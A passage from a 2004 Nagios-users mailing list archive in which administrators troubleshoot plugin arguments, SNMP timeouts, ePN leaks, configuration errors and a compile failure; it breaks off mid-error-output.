When I replace it with the actual text 'public' it works fine. Has anybody else had luck using the resource.cfg file for community strings in check commands? Michael Eck Chilitech Internet Solutions meck at chilitech.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From chris1 at psyctc.org Mon Mar 8 16:39:14 2004 From: chris1 at psyctc.org (Chris Evans) Date: Mon, 08 Mar 2004 15:39:14 -0000 Subject: check_load and Warning threshold must be float or float triplet! In-Reply-To: References: Message-ID: <404C93A2.26262.102BF883@localhost> On 8 Mar 2004 at 9:40, Robert Nelson wrote: > > check_load!w=5.00,4.00,3.00!c=6.00,5.00,4.00 > > The first ! is equivalent to "-w ", the second ! is equivalent to "-c > "...You don't need the "w=" or "c=". Try this > > check_load!5.00,4.00,3.00!6.00,5.00,4.00 > > If you look at the checkcommands.cfg you can see how the plugins are > defined, usually something like: > > check_plugin -H $HOST$ -w $ARG1$ -c $ARG2$ > > where $HOST$ is the address of the host, $ARG1$ is after the first ! > and before the second !, etc. Aaagh: I am sure this proves that I am fool who doesn't read the documentation properly: I simply hadn't realised that the plugins were wrapped in that set of wrappers. Seems perhaps an excessive level of wrapping but I'm no programmer and my system is tiny so what do I know?! Many, many thanks to Rob and the nagios enterprise again: perfect! Chris PSYCTC: Psychotherapy, Psychology, Psychiatry, Counselling and Therapeutic Communities; practice, research, teaching and consultancy. Chris Evans & Jo-anne Carlyle http://psyctc.org/ Email: chris at psyctc.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 8 17:51:56 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 08 Mar 2004 16:51:56 +0000 Subject: check_hpjd plugin returns a no response error message In-Reply-To: <5593DA408212D511B0910002A513501F06559234@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F06559234@phsexch20.mgh.harvard.edu> Message-ID: <20040308165156.22795.qmail@minnow.softflare.net> Kaplan, Andrew H. writes: > I also tried the snmpwalk command, and got the snmpwalk: Timeout error as > well... Do you have anything between the nagios server and the printer that would be blocking UDP port 161? Is the printer configured to respond to SNMP? -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Mon Mar 8 18:25:18 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Mon, 8 Mar 2004 12:25:18 -0500 Subject: check_hpjd plugin returns a no response er ror message Message-ID: <5593DA408212D511B0910002A513501F06559236@phsexch20.mgh.harvard.edu> Hi -- As far as I know, there is nothing that should be blocking UDP port 161. The original Nagios server is still on-line, and it does not have any problems accessing the printers. One theory that I have, is the network security has allowed SNMP traffic to pass through ports 161 TCP/UDP and 162 TCP/UDP for the original server and not the new server. Your thoughts? -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Paul L. Allen Sent: Monday, March 08, 2004 11:52 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Re: check_hpjd plugin returns a no response error message Kaplan, Andrew H. writes: > I also tried the snmpwalk command, and got the snmpwalk: Timeout error as > well... Do you have anything between the nagios server and the printer that would be blocking UDP port 161? Is the printer configured to respond to SNMP? -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From atonns at mail.ivillage.com Mon Mar 8 18:23:43 2004 From: atonns at mail.ivillage.com (atonns at mail.ivillage.com) Date: Mon, 8 Mar 2004 12:23:43 -0500 Subject: ePN in 1.2? Message-ID: I would like to know this as well. I have several dozen perl plugins that cause Nagios ePN to leak like a sieve. Once memory leaks aren't a problem, I'd like to finally add performance data collection to them and possibly release them under the GPL. -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns at mail.ivillage.com > From: Matthew Wilson [mailto:matthewwilson at dsl.pipex.com] > > Hi list, > I note on the changelog for nagios 1.2 that there have been some > bugfixes for ePN - have the memory leak issue been resolved and is it > possible to use in a stable way? We have a large number of > Perl plugins > and I was thinking about ePN to help address some performance issues > (huge latencies...) iVillage Inc., 500 Seventh Avenue, New York, NY 10018 - iVillage Inc. is a leading women's media company that includes iVillage.com, Women.com, gURL.com, Astrology.com, Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze Publishing, Business Women's Network, Diversity Best Practices, Best Practices in Corporate Communications, and iVillage Consulting. The information contained in this communication may be confidential, is intended only for the use of the recipient named above, and may be construed under applicable law to be a commercial email. If you have received this communication in error, please delete this message from your computer system. If you are the recipient named above and do not wish to receive any future commercial emails, please reply to the sender with a message stating such preference. -------------- next part -------------- An HTML attachment was scrubbed... URL: From nagios at bytron.com Mon Mar 8 18:28:22 2004 From: nagios at bytron.com (nagios) Date: Mon, 8 Mar 2004 17:28:22 -0000 Subject: FW: Setting up Nagios config scripts Message-ID: Hi all I have installed nagios and the plugin. At the stage I have my web interface configured. I also installed the sample scripts. When I run the following command for the preflight /usr/local/nagios/bin/nagios -v /usr/local/nagios/nagios.cfg which hits me back with lots of errors. I have read the documentation but looking for abit of advice how to go about in configuring the scripts for the purpose of a demo on my local machine to check_alive to get a feel for the nagios software. Kind Regards Matthew --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.596 / Virus Database: 379 - Release Date: 2/26/04 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 8 18:43:16 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 08 Mar 2004 17:43:16 +0000 Subject: check_hpjd plugin returns a no response er ror message In-Reply-To: <5593DA408212D511B0910002A513501F06559236@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F06559236@phsexch20.mgh.harvard.edu> Message-ID: <20040308174316.16401.qmail@minnow.softflare.net> Kaplan, Andrew H. writes: > As far as I know, there is nothing that should be blocking UDP port 161. > The original Nagios server is still on-line, and it does not have any > problems accessing the printers. Are you running a firewall on the new Nagios server that could be blocking those ports? Got a router or similar between the new Nagios server and the printer that could be blocking those ports? If the answer to both of those is no, then it's time to use tcpdump on the new Nagios server to see what's happening. And also possibly on the old server at the same time, since it seems to have a more complete picture of the network so maybe it will see the new server talking to the printer and the printer responding but nothing getting back to the new server. And if that still doesn't help, accidentally knock the printer onto the floor so you have to get a replacement. And if that still doesn't fix it, repeat with the new Nagios server. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From markus at markus.org Mon Mar 8 19:29:14 2004 From: markus at markus.org (Markus Baertschi) Date: Mon, 08 Mar 2004 19:29:14 +0100 Subject: How to debug plugin getting into UNKNOWN state In-Reply-To: <20040308140411.24952.qmail@minnow.softflare.net> References: <404C7395.7080606@markus.org> <20040308140411.24952.qmail@minnow.softflare.net> Message-ID: <404CBB7A.6010207@markus.org> Paul L. Allen wrote: > It's almost certainly a problem with your plugin if only your plugin > exhibits this behaviour. Possibly a timeout connecing to the database, > but could be almost anything. > Note that restarting Nagios using the restart option often leaves stray > Nagios processes hanging around. This can cause stale statuses to > occasionally be displayed and lead to confusion. I usually stop / start nagios completely (to be sure nothing sticks around). Is is very porbable that my plugin has a problem, but I don't know what it is and need more (debugging-) information. The line found in nagios.log is not sufficient. The plugin works very well when used from the commandline (as nagios user). Can I put nagios in a debugging mode to get more information ? -- Markus Baertschi Phone: ++41 (21) 807 1677 Bas du Ross? 14b Fax : ++41 (21) 807 1678 CH-1163, Etoy Email: markus at markus.org Switzerland Homepage: www.markus.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gora at wittmann.sk Mon Mar 8 19:46:59 2004 From: gora at wittmann.sk (=?windows-1250?Q?Dezider_G=F3ra?=) Date: Mon, 08 Mar 2004 19:46:59 +0100 Subject: How to check disk space on devfs? Message-ID: <404CBFA3.3060708@wittmann.sk> Hi all, I'm starting a nagios monitor and almost ev. is working, but I can't seem to find a way how to get disk free space on disk. When I issue df I get Filesystem 1k-blocks Used Available Use% Mounted on rootfs 1509628 886828 592116 60% / /dev/root 1509628 886828 592116 60% / /dev/hda1 46636 9117 35111 21% /mnt/boot /etc/fstab gives me similiar results. I get correct disk usage from /dev/hda1, but not from /dev/root. I get nonexistant device result from check_disk plugin. Is it possible to get disk space from nagios command? thanks in advance Dezider. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From patrick-klein at gmx.de Mon Mar 8 20:31:04 2004 From: patrick-klein at gmx.de (Patrick Klein) Date: Mon, 8 Mar 2004 20:31:04 +0100 Subject: Problems to start Nagios Message-ID: <200403082031.04394.patrick-klein@gmx.de> Hi List, I've got the following problem: If I want to start Nagios (V 1.0) I get this error: Nagios 1.0 starting... (PID=23133) Error: Host dependency definition for host 'server102' is circular (it depends on itself)! Bailing out due to errors encountered while running the pre-flight check. Run Nagios from the command line with the -v option to verify your config before restarting. (PID=23133) What does it mean? I tried to rename the host_names in the dependencies_list, but then I get the error, that the host isn't definied anywhere. What can I do? Thanks Patrick ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Mon Mar 8 20:45:17 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Mon, 8 Mar 2004 14:45:17 -0500 Subject: (no subject) Message-ID: <8258814A187BCF49BDEE435A5433B18BE387ED@exchange.drumbeatdigital.com> I don't have a photoshop here so I couldn't downsize it there for I just put it on external link on web for you guys to access it.. http://images5.fotki.com/v62/photos/1/13601/159947/tama-vi.jpg How come name of my computer is missing at the last line? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From markus at markus.org Mon Mar 8 21:05:20 2004 From: markus at markus.org (Markus Baertschi) Date: Mon, 08 Mar 2004 21:05:20 +0100 Subject: How to debug plugin getting into UNKNOWN state - fixed In-Reply-To: <20040308140411.24952.qmail@minnow.softflare.net> References: <404C7395.7080606@markus.org> <20040308140411.24952.qmail@minnow.softflare.net> Message-ID: <404CD200.6070909@markus.org> I found the problem. My plugin was dependent on the environment-variable ORACLE_HOME. This variable is not available in the nagios environment. When I was logged-in as nagios the variable was there (from .profile). Restarting nagios from there obviously worked as well... Markus -- Markus Baertschi Phone: ++41 (21) 807 1677 Bas du Ross? 14b Fax : ++41 (21) 807 1678 CH-1163, Etoy Email: markus at markus.org Switzerland Homepage: www.markus.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From simon at ecnetwork.co.nz Mon Mar 8 23:09:21 2004 From: simon at ecnetwork.co.nz (Simon Kitching) Date: Tue, 09 Mar 2004 11:09:21 +1300 Subject: How to check disk space on devfs? In-Reply-To: <404CBFA3.3060708@wittmann.sk> References: <404CBFA3.3060708@wittmann.sk> Message-ID: <1078783761.634.234.camel@pcsimon> On Tue, 2004-03-09 at 07:46, Dezider G?ra wrote: > Hi all, > > I'm starting a nagios monitor and almost ev. is working, but I can't > seem to find a way how to get disk free space on disk. > When I issue df I get > Filesystem 1k-blocks Used Available Use% Mounted on > rootfs 1509628 886828 592116 60% / > /dev/root 1509628 886828 592116 60% / > /dev/hda1 46636 9117 35111 21% /mnt/boot > > /etc/fstab gives me similiar results. > I get correct disk usage from /dev/hda1, but not from /dev/root. I get > nonexistant device result from check_disk plugin. > Is it possible to get disk space from nagios command? > thanks in advance > Dezider. The standard nagios plugins include a check_disk command. Try check_disk -h for help. Regards, Simon ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jared at wordzoo.com Tue Mar 9 01:05:11 2004 From: jared at wordzoo.com (Jared Rhine) Date: Mon, 08 Mar 2004 16:05:11 -0800 Subject: Where does 2.x work? Message-ID: <87llma3mx4.wl@badger.wordzoo.com> In a recent email, I outlined a problem where Nagios 2.0a1 doesn't create status.dat on startup. Another person confirmed that problem, on a different OS even. This is a pretty fundamental issue, so it's kind of a head-scratcher. Does anyone have 2.0a1 working on their machine, and if so, what OS are you running? -- jared at wordzoo.com http://www.geekcode.com/geek.html -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCM/CS/B d s:++>+ a- C++(++++)$ ULBSH++++ P+++ L+++ E++(+++) W++++ N- !o !K w !O M V PS+++(-) PE++(--) Y+ PGP>++ t@ 5 X+ R>+ tv++>-- b>++ DI+ D- G e++ h- r++>+++ y+++ ------END GEEK CODE BLOCK------ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 9 01:17:09 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 09 Mar 2004 00:17:09 +0000 Subject: (no subject) In-Reply-To: <8258814A187BCF49BDEE435A5433B18BE387ED@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BE387ED@exchange.drumbeatdigital.com> Message-ID: <20040309001710.20613.qmail@minnow.softflare.net> Dmitry Chorine writes: > How come name of my computer is missing at the last line? I've not had that happen to me, but I have had other strange things happen, all of which turned out to be inconsistencies in the configuration. It might be you've found a real bug in the CGIs, but my bet is on a configuration inconsistency. Try "service nagios stop" (or equivalent on your distro - it might be you need to do /etc/rc.d/init.d/nagios stop), wait until all nagios processes have died away, then do a "service nagios restart" (or moral equivalent). The stop and wait is because just restarting tends to leave processes hanging around forever that cause erroneous output from the CGIs. The point of restarting is that it does a consistency check on your configuration (you can do a consistency check other ways, but I only ever restart after doing configuration mods so I never remember the alternatives). If the restart doesn't flag any problems, then you'll have to check your configuration yourself. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 9 01:26:29 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 09 Mar 2004 00:26:29 +0000 Subject: How to debug plugin getting into UNKNOWN state In-Reply-To: <404CBB7A.6010207@markus.org> References: <404C7395.7080606@markus.org> <20040308140411.24952.qmail@minnow.softflare.net> <404CBB7A.6010207@markus.org> Message-ID: <20040309002629.21953.qmail@minnow.softflare.net> Markus Baertschi writes: > Is is very porbable that my plugin has a problem, but I don't know what > it is and need more (debugging-) information. The line found in > nagios.log is not sufficient. As far as I know, you can't get more debugging info from Nagios. All it can tell you is what the plugin reports. You can, with some plugins, use -v to get more info from the plugin, but unless the extra info is all on one line (it almost never is) then you'll only see the first line logged. > The plugin works very well when used from the commandline (as nagios > user). Yes, but you don't run it from the command line as often as Nagios runs it. So if the problem only shows up intermittently, you may never see it from the command line. I still believe that you need to show us your plugin if you want us to help you. The problem could be DNS timeouts, or intermittent connectivity problems, or a bug in your code. We can't check if you get occasional DNS timeouts or intermittent connectivity problems but we can examine your code. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Tue Mar 9 01:54:12 2004 From: benny at bennyvision.com (C. Bensend) Date: Mon, 8 Mar 2004 18:54:12 -0600 (CST) Subject: Where does 2.x work? In-Reply-To: <87llma3mx4.wl@badger.wordzoo.com> References: <87llma3mx4.wl@badger.wordzoo.com> Message-ID: <55809.63.227.74.41.1078793674.squirrel@webmail.stinkweasel.net> > In a recent email, I outlined a problem where Nagios 2.0a1 doesn't > create status.dat on startup. Another person confirmed that problem, > on a different OS even. This is a pretty fundamental issue, so it's > kind of a head-scratcher. Does anyone have 2.0a1 working on their > machine, and if so, what OS are you running? I just built 2.0a1 over the weekend, and it creates status.dat just fine. I'm running it on a squeaky-clean install of OpenBSD 3.4-STABLE. Benny -- "Have you ever tried simply turning off the TV, sitting down with your children, and hitting them?" -- Bender, "Futurama" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 9 05:23:33 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Mon, 8 Mar 2004 23:23:33 -0500 Subject: How to check disk space on devfs? In-Reply-To: <404CBFA3.3060708@wittmann.sk> References: <404CBFA3.3060708@wittmann.sk> Message-ID: <20040308232333.1e922b91.karl@debisschop.net> On Mon, 08 Mar 2004 19:46:59 +0100 "Dezider G?ra" wrote: > Hi all, > > I'm starting a nagios monitor and almost ev. is working, but I can't > seem to find a way how to get disk free space on disk. > When I issue df I get > Filesystem 1k-blocks Used Available Use% Mounted on > rootfs 1509628 886828 592116 60% / > /dev/root 1509628 886828 592116 60% / > /dev/hda1 46636 9117 35111 21% /mnt/boot > > /etc/fstab gives me similiar results. > I get correct disk usage from /dev/hda1, but not from /dev/root. I get > > nonexistant device result from check_disk plugin. > Is it possible to get disk space from nagios command? What OS? What version of check_disk? How you invoking check_disk when you get this nonexistant device error? tell us more about rootfs - is it a raid array? LVM or some other volume manager? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zaineb.de.souza at consultant.volvo.com Tue Mar 9 05:33:38 2004 From: zaineb.de.souza at consultant.volvo.com (De Souza Zaineb) Date: Tue, 9 Mar 2004 12:33:38 +0800 Subject: Status Map Message-ID: > I have added some new hosts to my configuration files. And on my > updated status map, these new hosts alter between a background of > green and grey. > Any ideas why? > -------------- next part -------------- An HTML attachment was scrubbed... URL: From prabhu.anandh at wipro.com Tue Mar 9 06:12:48 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 9 Mar 2004 10:42:48 +0530 Subject: check_http not working Message-ID: <07BBBE93ECD30547BC93005AF54E2557F2E392@blr-sjp-msg.wipro.com> Hi folks, I have typed these in command line and I get the following error. # ./check_http -I 10.116.20.5 -p 80 Connection refused Unable to open TCP socket Do I have to specify any other thing in the command .where can I find the details regarding the working of nagios plugins.i even didn't find in the plugins folder. Thanks in advance. Prabhu Anandh ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joerg.helmert at aracomp.de Tue Mar 9 08:57:28 2004 From: joerg.helmert at aracomp.de (joerg.helmert at aracomp.de) Date: Tue, 9 Mar 2004 08:57:28 +0100 Subject: Where does 2.x work? In-Reply-To: <87llma3mx4.wl@badger.wordzoo.com> References: <87llma3mx4.wl@badger.wordzoo.com> Message-ID: <000201c405ac$2b311fd0$02dd1fac@cc.local> Hi, Running 2.0a1 since 1 or 2 weeks now. No problems yet... I use status_file option in nagios.cfg and it works. Status.log gets updated approx every 5 minutes. Running on RedHat 8 Linux myhost 2.4.20-28.8smp #1 SMP Thu Dec 18 12:25:21 EST 2003 i686 i686 i386 GNU/Linux >From nagios.cfg: status_file=/usr/local/nagios2/var/status.log # ls -la nagios2/var/status.log -rw-rw-r-- 1 nagios nagios 42594 Mar 9 08:31 nagios2/var/status.log # ls -la nagios2/var/status.log -rw-rw-r-- 1 nagios nagios 42594 Mar 9 08:37 nagios2/var/status.log Bye, Joerg > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of Jared Rhine > Sent: Tuesday, March 09, 2004 1:05 AM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Where does 2.x work? > > > In a recent email, I outlined a problem where Nagios 2.0a1 > doesn't create status.dat on startup. Another person > confirmed that problem, on a different OS even. This is a > pretty fundamental issue, so it's kind of a head-scratcher. > Does anyone have 2.0a1 working on their machine, and if so, > what OS are you running? > > -- jared at wordzoo.com > http://www.geekcode.com/geek.html -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCM/CS/B d s:++>+ a- C++(++++)$ ULBSH++++ P+++ L+++ E++(+++) W++++ N- !o !K w !O M V PS+++(-) PE++(--) Y+ PGP>++ t@ 5 X+ R>+ tv++>-- b>++ DI+ D- G e++ h- r++>+++ y+++ ------END GEEK CODE BLOCK------ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tom.brown at goodtechnology.com Tue Mar 9 10:43:34 2004 From: tom.brown at goodtechnology.com (Tom Brown) Date: Tue, 9 Mar 2004 09:43:34 -0000 Subject: Fedora Core 1 - Nagios 1.2 - Make error Message-ID: <190b01c405ba$fd303f30$0401a8c0@tomspc> Hi, Has anyone compiled Nagios-1.2 and got it running on Fedora Core 1? I get the compile to run OK using ./configure --prefix=/opt/nagios-1.2 --with-nagios-user=nagios --with-nagios -grp=nagios --with-mail=/bin/mail --with-command-user=nagios --with-command- grp=nagios --with-init-dir=/etc/rc.d/init.d --with-lockfile=/opt/nagios-1.2/ var/nagios.lock --with-gd-lib=/opt/gd/lib --with-gd-inc=/opt/gd/include --wi th-cgiurl=/nagios/cgi-bin --with-htmurl=/nagios --enable-DEBUG1 --enable-emb edded-perl --with-perlcache however when i 'make all' it bombs with make[1]: Entering directory `/home/tom/source/nagios-1.2/cgi' gcc -g -O2 -I/opt/gd/include -D_REENTRANT -D_GNU_SOURCE -DTHREADS_HAVE_PIDS -DDEBUGGING -fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE - D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm -I/usr/lib/perl5/5.8.3/i386-linux -thread-multi/CORE -DHAVE_CONFIG_H -DNSCGI -L/opt/gd/lib avail.c getcgi.o cgiutils.o auth.o popen.o ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddefault.c -o avail.cgi ../xdata/xodtemplate.c: In function `xodtemplate_add_object_property': ../xdata/xodtemplate.c:1344: error: `temp_buffer' undeclared (first use in this function) ../xdata/xodtemplate.c:1344: error: (Each undeclared identifier is reported only once ../xdata/xodtemplate.c:1344: error: for each function it appears in.) ../xdata/xodtemplate.c:1346: error: 